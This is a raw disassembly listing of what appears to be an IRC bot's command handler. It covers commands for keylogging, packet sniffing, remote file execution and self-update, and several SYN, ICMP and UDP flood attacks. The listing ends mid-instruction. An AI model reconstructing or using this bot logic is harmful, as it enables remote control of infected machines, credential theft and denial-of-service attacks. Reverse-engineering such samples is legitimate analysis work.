sub_41E990 test eax, eax pop ecx pop ecx jz loc_409FBE push edi push offset aN ; "n" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409FBE push edi push offset aJoin ; "join" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409F95 push edi push offset aJ ; "j" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409F95 push edi push offset aPart_0 ; "part" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409F7B push edi push offset aPt ; "pt" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409F7B push edi push offset aRaw ; "raw" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409F45 push edi push offset aR ; "r" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409F45 push edi push offset aKillthread ; "killthread" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409E9F push edi push offset aK ; "k" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409E9F push edi push offset aC_quit ; "c_quit" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409DF1 push edi push offset aC_q ; "c_q" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409DF1 push edi push offset aC_rndnick ; "c_rndnick" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409D7C push edi push offset aC_rn ; "c_rn" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409D7C push edi push offset aPrefix ; "prefix" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409D63 push edi push offset aPr ; "pr" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409D63 push edi push offset aOpen ; "open" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409D35 push edi push offset aO ; "o" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409D35 push edi push offset aServer_1 ; "server" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409D0C push edi push offset aSe ; "se" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409D0C push edi push offset aDns ; "dns" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409CA4 push edi push offset aDn ; "dn" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409CA4 push edi push offset aKillproc ; "killproc" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409C74 push edi push offset aKp ; "kp" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409C74 push edi push offset aKill ; "kill" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409C18 push edi push offset aKi ; "ki" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409C18 push edi push offset aDelete ; "delete" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409BDD push edi push offset aDel ; "del" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409BDD push edi push offset aGet_0 ; "get" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409B06 push edi push offset aGt ; "gt" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409B06 push edi push offset aList ; "list" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409AEA push edi push offset aLi ; "li" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409AEA push edi push offset aVisit ; "visit" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409A00 push edi push offset aV ; "v" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409A00 push edi push offset aMirccmd ; "mirccmd" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40998D push edi push offset aMirc ; "mirc" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40998D push edi push offset aCmd ; "cmd" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409937 push edi push offset aCm ; "cm" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409937 push edi push offset aReadfile ; "readfile" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4098AF push edi push offset aRf ; "rf" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4098AF push edi push offset aPsniff ; "psniff" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_406608 push [ebp+4Ch+var_8] push offset aOn ; "on" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_4065CE push 20h call sub_40B075 test eax, eax pop ecx jle short loc_406502 push offset dword_42E510 jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_406502: ; CODE XREF: sub_40274D+3DA9j mov eax, [ebp+4Ch+arg_4] mov esi, [ebp+esi+4Ch+var_9C] cmp esi, ebx mov [ebp+4Ch+var_FF4], eax mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_F6C], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_F68], eax jnz short loc_40653E push offset byte_42B633 mov esi, offset aImortal2_1 ; "#imortal2" push esi call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_40653E mov esi, [ebp+4Ch+var_9C] loc_40653E: ; CODE XREF: sub_40274D+3DD6j ; sub_40274D+3DECj push esi lea eax, [ebp+4Ch+var_FF0] push 80h push eax call sub_41E6FE lea eax, [ebp+4Ch+var_2D0] push offset dword_42E4E0 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 20h push eax call sub_40AE85 add esp, 20h mov [ebp+4Ch+var_F70], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_FF4] push eax push offset word_414ECA push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_F70] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4065C1 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset dword_42E4A4 jmp loc_40697E ; --------------------------------------------------------------------------- loc_4065B9: ; CODE XREF: sub_40274D+3E7Aj push 32h call ds:dword_42B014 ; Sleep loc_4065C1: ; CODE XREF: sub_40274D+3E59j cmp [ebp+4Ch+var_F64], ebx jz short loc_4065B9 jmp loc_40698D ; --------------------------------------------------------------------------- loc_4065CE: ; CODE XREF: sub_40274D+3D99j push [ebp+4Ch+var_8] push offset aOff ; "off" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_40698D push ebx push 20h call sub_40B028 cmp eax, ebx pop ecx pop ecx jle short loc_4065FE push eax push offset dword_42E468 jmp loc_40697E ; --------------------------------------------------------------------------- loc_4065FE: ; CODE XREF: sub_40274D+3EA4j push offset dword_42E43C jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_406608: ; CODE XREF: sub_40274D+3D82j push edi push offset aSniffer ; "sniffer" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_406750 push [ebp+4Ch+var_8] push offset aOn ; "on" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_406716 push 21h call sub_40B075 test eax, eax pop ecx jle short loc_40664A push offset unk_42E414 jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_40664A: ; CODE XREF: sub_40274D+3EF1j mov eax, [ebp+4Ch+arg_4] mov esi, [ebp+esi+4Ch+var_9C] cmp esi, ebx mov [ebp+4Ch+var_ECC], eax mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_E44], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_E40], eax jnz short loc_406686 push offset byte_42B633 mov esi, offset aImortal2_1 ; "#imortal2" push esi call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_406686 mov esi, [ebp+4Ch+var_9C] loc_406686: ; CODE XREF: sub_40274D+3F1Ej ; sub_40274D+3F34j push esi lea eax, [ebp+4Ch+var_EC8] push 80h push eax call sub_41E6FE lea eax, [ebp+4Ch+var_2D0] push offset unk_42E3E4 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 21h push eax call sub_40AE85 add esp, 20h mov [ebp+4Ch+var_E48], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_ECC] push eax push offset word_41549E push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_E48] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_406709 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42E3A8 jmp loc_40697E ; --------------------------------------------------------------------------- loc_406701: ; CODE XREF: sub_40274D+3FC2j push 32h call ds:dword_42B014 ; Sleep loc_406709: ; CODE XREF: sub_40274D+3FA1j cmp [ebp+4Ch+var_E3C], ebx jz short loc_406701 jmp loc_40698D ; --------------------------------------------------------------------------- loc_406716: ; CODE XREF: sub_40274D+3EE1j push [ebp+4Ch+var_8] push offset aOff ; "off" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_40698D push ebx push 21h call sub_40B028 cmp eax, ebx pop ecx pop ecx jle short loc_406746 push eax push offset unk_42E368 jmp loc_40697E ; --------------------------------------------------------------------------- loc_406746: ; CODE XREF: sub_40274D+3FECj push offset unk_42E334 jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_406750: ; CODE XREF: sub_40274D+3ECAj push edi push offset aIdent ; "ident" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_406825 push [ebp+4Ch+var_8] push offset aOn ; "on" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4067EB push 2 call sub_40B075 test eax, eax pop ecx lea eax, [ebp+4Ch+var_2D0] jle short loc_406794 push offset dword_42E30C jmp loc_4078CF ; --------------------------------------------------------------------------- loc_406794: ; CODE XREF: sub_40274D+403Bj push offset dword_42E2E0 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 2 push eax call sub_40AE85 add esp, 14h mov esi, eax lea eax, [ebp+4Ch+var_1C] push eax push ebx push esi push offset loc_41321D push ebx push ebx call ds:dword_42B03C ; CreateThread imul esi, 234h cmp eax, ebx mov ds:dword_4444FC[esi], eax jnz loc_40698D call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset dword_42E2AC jmp loc_40697E ; --------------------------------------------------------------------------- loc_4067EB: ; CODE XREF: sub_40274D+4029j push [ebp+4Ch+var_8] push offset aOff ; "off" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_40698D push ebx push 2 call sub_40B028 cmp eax, ebx pop ecx pop ecx jle short loc_40681B push eax push offset dword_42E274 jmp loc_40697E ; --------------------------------------------------------------------------- loc_40681B: ; CODE XREF: sub_40274D+40C1j push offset dword_42E254 jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_406825: ; CODE XREF: sub_40274D+4012j push edi push offset aKeylog ; "keylog" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_4069C6 push [ebp+4Ch+var_8] push offset aOn ; "on" call sub_41E990 test eax, eax pop ecx pop ecx mov edi, offset aFile ; "file" jz short loc_40689B push [ebp+4Ch+var_8] push edi call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_40689B push [ebp+4Ch+var_8] push offset aOff ; "off" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_40698D push ebx push 23h call sub_40B028 cmp eax, ebx pop ecx pop ecx jle short loc_406891 push eax push offset dword_42E208 jmp loc_40697E ; --------------------------------------------------------------------------- loc_406891: ; CODE XREF: sub_40274D+4137j push offset dword_42E1DC jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_40689B: ; CODE XREF: sub_40274D+4103j ; sub_40274D+4112j push 23h call sub_40B075 test eax, eax pop ecx jle short loc_4068B1 push offset dword_42E1BC jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_4068B1: ; CODE XREF: sub_40274D+4158j mov eax, [ebp+4Ch+arg_4] push [ebp+4Ch+var_8] mov [ebp+4Ch+var_C64], eax mov eax, [ebp+4Ch+var_4] push edi mov [ebp+4Ch+var_BDC], eax call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4068DE mov [ebp+4Ch+var_BD8], 1 jmp short loc_4068E7 ; --------------------------------------------------------------------------- loc_4068DE: ; CODE XREF: sub_40274D+4183j mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_BD8], eax loc_4068E7: ; CODE XREF: sub_40274D+418Fj mov esi, [ebp+esi+4Ch+var_9C] cmp esi, ebx jnz short loc_406908 push offset byte_42B633 mov esi, offset aImortal2_2 ; "#imortal2" push esi call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_406908 mov esi, [ebp+4Ch+var_9C] loc_406908: ; CODE XREF: sub_40274D+41A0j ; sub_40274D+41B6j push esi lea eax, [ebp+4Ch+var_C5C] push 80h push eax call sub_41E6FE lea eax, [ebp+4Ch+var_2D0] push offset dword_42E198 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 23h push eax call sub_40AE85 add esp, 20h mov [ebp+4Ch+var_C60], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_C64] push eax push offset aUnlMb_0 ; "Ul$ŒìÜ\b" push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_C60] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4069BC call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset dword_42E15C loc_40697E: ; CODE XREF: sub_40274D+1F36j ; sub_40274D+2CAAj ... lea eax, [ebp+4Ch+var_2D0] push eax call sub_41E6A6 loc_40698A: ; CODE XREF: sub_40274D+2C9Fj ; sub_40274D+52ADj add esp, 0Ch loc_40698D: ; CODE XREF: sub_40274D+1F4Bj ; sub_40274D+2CDAj ... cmp [ebp+4Ch+var_C], ebx jnz loc_408D10 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] loc_4069A7: ; CODE XREF: sub_40274D+628Bj call sub_40123B add esp, 14h jmp loc_408D10 ; --------------------------------------------------------------------------- loc_4069B4: ; CODE XREF: sub_40274D+4275j push 32h call ds:dword_42B014 ; Sleep loc_4069BC: ; CODE XREF: sub_40274D+4223j cmp [ebp+4Ch+var_BD4], ebx jz short loc_4069B4 jmp short loc_40698D ; --------------------------------------------------------------------------- loc_4069C6: ; CODE XREF: sub_40274D+40E7j push edi push offset aNet ; "net" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_406C82 cmp ds:dword_444274, ebx jz short loc_4069F5 cmp ds:dword_44429C, ebx jz short loc_4069F5 push offset unk_42E120 jmp loc_406C3F ; --------------------------------------------------------------------------- loc_4069F5: ; CODE XREF: sub_40274D+4294j ; sub_40274D+429Cj cmp [ebp+4Ch+var_18], ebx jz loc_406C4D mov edi, [ebp+esi+4Ch+var_9C] cmp edi, ebx mov [ebp+4Ch+arg_0], ebx jz short loc_406A17 push edi push [ebp+4Ch+var_18] call sub_41F090 pop ecx pop ecx mov [ebp+4Ch+arg_0], eax loc_406A17: ; CODE XREF: sub_40274D+42BAj push [ebp+4Ch+var_8] push offset aStart ; "start" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_406A81 cmp edi, ebx jz short loc_406A52 push [ebp+4Ch+arg_0] push 3 loc_406A33: ; CODE XREF: sub_40274D+434Cj ; sub_40274D+4366j ... call sub_41BF46 push eax lea eax, [ebp+4Ch+var_2D0] push offset aS ; "%s" push eax call sub_41E6A6 add esp, 14h jmp loc_406C4D ; --------------------------------------------------------------------------- loc_406A52: ; CODE XREF: sub_40274D+42DFj push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_41B681 add esp, 0Ch test eax, eax lea eax, [ebp+4Ch+var_2D0] jz short loc_406A77 push offset unk_42E0F4 jmp loc_406C45 ; --------------------------------------------------------------------------- loc_406A77: ; CODE XREF: sub_40274D+431Ej push offset unk_42E0D4 jmp loc_406C45 ; --------------------------------------------------------------------------- loc_406A81: ; CODE XREF: sub_40274D+42DBj push [ebp+4Ch+var_8] push offset aStop ; "stop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_406A9B push [ebp+4Ch+arg_0] push 4 jmp short loc_406A33 ; --------------------------------------------------------------------------- loc_406A9B: ; CODE XREF: sub_40274D+4345j push [ebp+4Ch+var_8] push offset aPause ; "pause" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_406AB8 push [ebp+4Ch+arg_0] push 5 jmp loc_406A33 ; --------------------------------------------------------------------------- loc_406AB8: ; CODE XREF: sub_40274D+435Fj push [ebp+4Ch+var_8] push offset aContinue ; "continue" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_406AD5 push [ebp+4Ch+arg_0] push 6 jmp loc_406A33 ; --------------------------------------------------------------------------- loc_406AD5: ; CODE XREF: sub_40274D+437Cj push [ebp+4Ch+var_8] push offset aDelete ; "delete" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_406AF2 push [ebp+4Ch+arg_0] push 1 jmp loc_406A33 ; --------------------------------------------------------------------------- loc_406AF2: ; CODE XREF: sub_40274D+4399j push [ebp+4Ch+var_8] push offset aShare ; "share" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_406B6C cmp edi, ebx jz short loc_406B3C cmp [ebp+4Ch+var_904], bl jz short loc_406B17 push ebx push edi push 1 jmp short loc_406B1D ; --------------------------------------------------------------------------- loc_406B17: ; CODE XREF: sub_40274D+43C2j push [ebp+esi+4Ch+var_98] push edi push ebx loc_406B1D: ; CODE XREF: sub_40274D+43C8j call sub_41BFBE push eax lea eax, [ebp+4Ch+var_2D0] push offset aS ; "%s" push eax call sub_41E6A6 add esp, 18h jmp loc_406C4D ; --------------------------------------------------------------------------- loc_406B3C: ; CODE XREF: sub_40274D+43BAj push ebx push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_41C07C add esp, 10h test eax, eax lea eax, [ebp+4Ch+var_2D0] jz short loc_406B62 push offset unk_42E08C jmp loc_406C45 ; --------------------------------------------------------------------------- loc_406B62: ; CODE XREF: sub_40274D+4409j push offset unk_42E06C jmp loc_406C45 ; --------------------------------------------------------------------------- loc_406B6C: ; CODE XREF: sub_40274D+43B6j push [ebp+4Ch+var_8] push offset aUser_0 ; "user" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_406BF4 cmp edi, ebx jz short loc_406BCA cmp [ebp+4Ch+var_904], bl push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] jz short loc_406B9A push ebx push edi push 1 jmp short loc_406BAB ; --------------------------------------------------------------------------- loc_406B9A: ; CODE XREF: sub_40274D+4445j mov esi, [ebp+esi+4Ch+var_98] cmp esi, ebx jz short loc_406BA7 push esi push edi push ebx jmp short loc_406BAB ; --------------------------------------------------------------------------- loc_406BA7: ; CODE XREF: sub_40274D+4453j push ebx push edi push 2 loc_406BAB: ; CODE XREF: sub_40274D+444Bj ; sub_40274D+4458j call sub_41C19B push eax lea eax, [ebp+4Ch+var_2D0] push offset aS ; "%s" push eax call sub_41E6A6 add esp, 24h jmp loc_406C4D ; --------------------------------------------------------------------------- loc_406BCA: ; CODE XREF: sub_40274D+4434j push ebx push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_41C265 add esp, 10h test eax, eax lea eax, [ebp+4Ch+var_2D0] jz short loc_406BED push offset unk_42E04C jmp short loc_406C45 ; --------------------------------------------------------------------------- loc_406BED: ; CODE XREF: sub_40274D+4497j push offset unk_42E02C jmp short loc_406C45 ; --------------------------------------------------------------------------- loc_406BF4: ; CODE XREF: sub_40274D+4430j push [ebp+4Ch+var_8] push offset aSend ; "send" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_406C3A cmp edi, ebx jz short loc_406C33 push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] push [ebp+4Ch+arg_0] call sub_41BE8A push eax lea eax, [ebp+4Ch+var_2D0] push offset aS ; "%s" push eax call sub_41E6A6 add esp, 1Ch jmp short loc_406C4D ; --------------------------------------------------------------------------- loc_406C33: ; CODE XREF: sub_40274D+44BCj push offset unk_42E008 jmp short loc_406C3F ; --------------------------------------------------------------------------- loc_406C3A: ; CODE XREF: sub_40274D+44B8j push offset unk_42DFEC loc_406C3F: ; CODE XREF: sub_40274D+2C4Dj ; sub_40274D+42A3j ... lea eax, [ebp+4Ch+var_2D0] loc_406C45: ; CODE XREF: sub_40274D+4325j ; sub_40274D+432Fj ... push eax call sub_41E6A6 pop ecx pop ecx loc_406C4D: ; CODE XREF: sub_40274D+42ABj ; sub_40274D+4300j ... cmp [ebp+4Ch+var_C], ebx jnz short loc_406C6B push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h loc_406C6B: ; CODE XREF: sub_40274D+27A3j ; sub_40274D+27D7j ... mov esi, [ebp+4Ch+arg_24] loc_406C6E: ; CODE XREF: sub_40274D+65C6j ; sub_40274D+7503j ... lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 pop ecx mov eax, esi jmp loc_402B95 ; --------------------------------------------------------------------------- loc_406C82: ; CODE XREF: sub_40274D+4288j push edi push offset aCapture ; "capture" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40968E push edi push offset aCap ; "cap" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40968E push edi push offset aGethost ; "gethost" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4095B9 push edi push offset aGh ; "gh" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4095B9 loc_406CD6: ; CODE XREF: sub_40274D+39D7j ; sub_40274D+3A06j ... mov edi, [ebp+esi+4Ch+var_9C] cmp edi, ebx mov [ebp+4Ch+var_20], edi jz loc_402B92 push [ebp+4Ch+var_10] push offset aKilllog ; "killlog" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40959F push [ebp+4Ch+var_10] push offset aKl ; "kl" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40959F push [ebp+4Ch+var_10] push offset aAddalias ; "addalias" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40955E push [ebp+4Ch+var_10] push offset aAa ; "aa" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40955E push [ebp+4Ch+var_10] push offset aPrivmsg_0 ; "privmsg" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409504 push [ebp+4Ch+var_10] push offset aPm ; "pm" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409504 push [ebp+4Ch+var_10] push offset aAction ; "action" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409492 push [ebp+4Ch+var_10] push offset aA ; "a" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409492 push [ebp+4Ch+var_10] push offset aCycle ; "cycle" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409434 push [ebp+4Ch+var_10] push offset aCy ; "cy" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409434 push [ebp+4Ch+var_10] push offset aMode ; "mode" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4093FB push [ebp+4Ch+var_10] push offset aM_0 ; "m" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4093FB push [ebp+4Ch+var_10] push offset aC_raw ; "c_raw" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40938F push [ebp+4Ch+var_10] push offset aC_r ; "c_r" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40938F push [ebp+4Ch+var_10] push offset aC_mode ; "c_mode" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40930C push [ebp+4Ch+var_10] push offset aC_m ; "c_m" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40930C push [ebp+4Ch+var_10] push offset aC_nick ; "c_nick" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4092A4 push [ebp+4Ch+var_10] push offset aC_n ; "c_n" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4092A4 push [ebp+4Ch+var_10] push offset aC_join ; "c_join" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409281 push [ebp+4Ch+var_10] push offset aC_j ; "c_j" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409281 push [ebp+4Ch+var_10] push offset aC_part ; "c_part" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409243 push [ebp+4Ch+var_10] push offset aC_p ; "c_p" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409243 push [ebp+4Ch+var_10] push offset aTarga3 ; "targa3" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409151 push [ebp+4Ch+var_10] push offset aT3 ; "t3" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409151 push [ebp+4Ch+var_10] push offset aTsunami ; "tsunami" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409083 push [ebp+4Ch+var_10] push offset aTsn ; "tsn" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_409083 push [ebp+4Ch+var_10] push offset aRepeat ; "repeat" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408FCA push [ebp+4Ch+var_10] push offset aRp ; "rp" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408FCA push [ebp+4Ch+var_10] push offset aDelay ; "delay" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408F39 push [ebp+4Ch+var_10] push offset aDe ; "de" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408F39 push [ebp+4Ch+var_10] push offset aUpdate ; "update" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408DC3 push [ebp+4Ch+var_10] push offset aUp ; "up" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408DC3 push [ebp+4Ch+var_10] push offset aExecute ; "execute" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408D2A push [ebp+4Ch+var_10] push offset aE ; "e" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408D2A push [ebp+4Ch+var_10] push offset aFindfile ; "findfile" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408C21 push [ebp+4Ch+var_10] push offset aFf ; "ff" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408C21 push [ebp+4Ch+var_10] push offset aRename ; "rename" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408BCD push [ebp+4Ch+var_10] push offset aMv ; "mv" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408BCD push [ebp+4Ch+var_10] push offset aIcmpflood ; "icmpflood" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408AD6 push [ebp+4Ch+var_10] push offset aIcmp ; "icmp" call sub_41E990 test eax, eax pop ecx pop ecx loc_407077: ; DATA XREF: seg002:0043F244o ; seg002:0043F258o ... jz loc_408AD6 mov eax, [ebp+esi+4Ch+var_98] cmp eax, ebx mov [ebp+4Ch+arg_0], eax jz loc_402B92 push [ebp+4Ch+var_10] push offset aClone_0 ; "clone" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4089EF push [ebp+4Ch+var_10] push offset aC ; "c" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4089EF push [ebp+4Ch+var_10] push offset aDdos_syn ; "ddos.syn" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4088D6 push [ebp+4Ch+var_10] push offset aDdos_ack ; "ddos.ack" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4088D6 push [ebp+4Ch+var_10] push offset aDdos_random ; "ddos.random" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4088D6 push [ebp+4Ch+var_10] push offset aWisdom_udp ; "wisdom.udp" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_4071DF push 7Fh pop esi push esi push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_3070] push eax call sub_41E860 push esi lea eax, [ebp+4Ch+var_2FF0] push edi push eax call sub_41E860 push esi push [ebp+4Ch+arg_0] lea eax, [ebp+4Ch+var_2F70] push eax call sub_41E860 push esi push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_2EF0] push eax call sub_41E860 mov eax, [ebp+4Ch+var_C] mov edi, [ebp+4Ch+var_4] mov esi, [ebp+4Ch+arg_4] push ebx mov [ebp+4Ch+var_2E68], eax lea eax, [ebp+4Ch+var_2D0] push 13h push eax mov [ebp+4Ch+var_2E6C], edi mov [ebp+4Ch+var_3074], esi call sub_40AE85 add esp, 3Ch mov [ebp+4Ch+var_2E70], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_3074] push eax push offset loc_4175F3 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_2E70] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4071D2 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42DE68 jmp loc_40491A ; --------------------------------------------------------------------------- loc_4071CA: ; CODE XREF: sub_40274D+4A8Bj push 32h call ds:dword_42B014 ; Sleep loc_4071D2: ; CODE XREF: sub_40274D+4A6Aj cmp [ebp+4Ch+var_2E64], ebx jz short loc_4071CA jmp loc_404929 ; --------------------------------------------------------------------------- loc_4071DF: ; CODE XREF: sub_40274D+49C3j push [ebp+4Ch+var_10] push offset aSynflood ; "synflood" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4087F2 push [ebp+4Ch+var_10] push offset aSyn ; "syn" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4087F2 push [ebp+4Ch+var_10] push offset aSkysyn ; "skysyn" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_407308 push 7Fh pop esi push esi push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_3498] push eax call sub_41E860 push esi lea eax, [ebp+4Ch+var_3418] push edi push eax call sub_41E860 push esi push [ebp+4Ch+arg_0] lea eax, [ebp+4Ch+var_3398] push eax call sub_41E860 push esi push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_3318] push eax call sub_41E860 push [ebp+4Ch+arg_0] mov eax, [ebp+4Ch+var_4] mov 